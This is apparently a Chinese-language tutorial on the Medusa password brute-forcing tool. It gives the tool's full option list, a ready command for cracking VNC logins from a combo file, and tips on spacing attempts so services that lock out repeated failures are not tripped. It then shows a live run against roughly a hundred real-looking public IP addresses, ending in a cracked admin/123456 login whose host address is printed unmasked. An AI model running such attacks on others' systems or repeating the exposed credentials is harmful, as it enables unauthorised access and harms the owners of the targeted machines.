暴力破解工具 medusa （马杜莎）
官网
http://foofus.net/goons/jmk/medusa/
和知名的暴力破解工具 hydra 很像的另一个工具
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
medusa: option requires an argument -- 'h'
CRITICAL: Unknown error processing command-line options.
ALERT: Host information must be supplied.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-c [NUM] : Time to wait in usec to verify socket is available (default 500 usec).
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module's usage information
-v [NUM] : Verbose level [0 - 6 (more)]
-w [NUM] : Error debug level [0 - 10 (more)]
-V : Display version
-Z [TEXT] : Resume scan based on map of previous scan
常用的参数
medusa -M vnc -n 5901 -R 0 -C xaa -f -T 10 -O good.txt
-M 选择破解模块
-n 自己定义服务的端口
-R 设置尝试多少次连接后 退出
-C 设置COMBO文件路径，也就是从文件做按行读取主机 用户名 和端口
可用的行格式如下：
host:username:password
host:username:
host::
:username:password
:username:
::password
host::password
建议使用 combo 文件来进行爆破的功能，应该这样可以设置哪个主机先爆破，可控性较强，适用于一些限制失败次数的服务，可以设置先遍历主机 再遍历用户密码，这样可以把一段时间内对同一主机的探测次数减到最少
-f 一个主机检测到一个正确的密码后就停止
-T 设置并发主机数
-O 设置结果保存的文件，程序会将正确的结果保存到这个文件中
一次检测的主机数量不能太多，如果太多可以使用 split -l 拆分combo 文件
root@kali :~/tmp# medusa -M vnc -n 5901 -R 0 -C xaa -f -T 10 -O good.txt
Medusa v2.1.1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <[email protected]>
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.226.179.128
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.77
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.226.179.135
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.71.239
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.148
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.31
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.72.36
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.74.156
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.74.68
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.75.213
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.227.75.242
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.112.109
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.122.129
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.65.192
ACCOUNT CHECK: [vnc] Host: 218.93.54.xxx (19 of 100, 14 complete) User: admin (1 of 1, 0 complete) Password: 123456 (1 of 1 complete)
ACCOUNT FOUND: [vnc] Host: 218.93.54.150 User: admin Password: 123456 [SUCCESS]
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.100.242
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.120.212
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.121.155
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.251.122.148
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.64.234.132
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.64.236.48
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.4.234.30
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.64.234.254
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.66.255.103
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.69.161.253
NOTICE: vnc.mod: failed to connect, port 5901 was not open on 101.69.169.218
root@kali :~/tmp# cat good.txt
# Medusa v.2.1.1 (2014-11-21 15:51:18)
# medusa -M vnc -n 5901 -R 0 -C xaa -f -T 10 -O good.txt
ACCOUNT FOUND: [vnc] Host: 218.93.54.xxx User: admin Password: 123456 [SUCCESS]
# Medusa has finished (2014-11-21 15:52:18).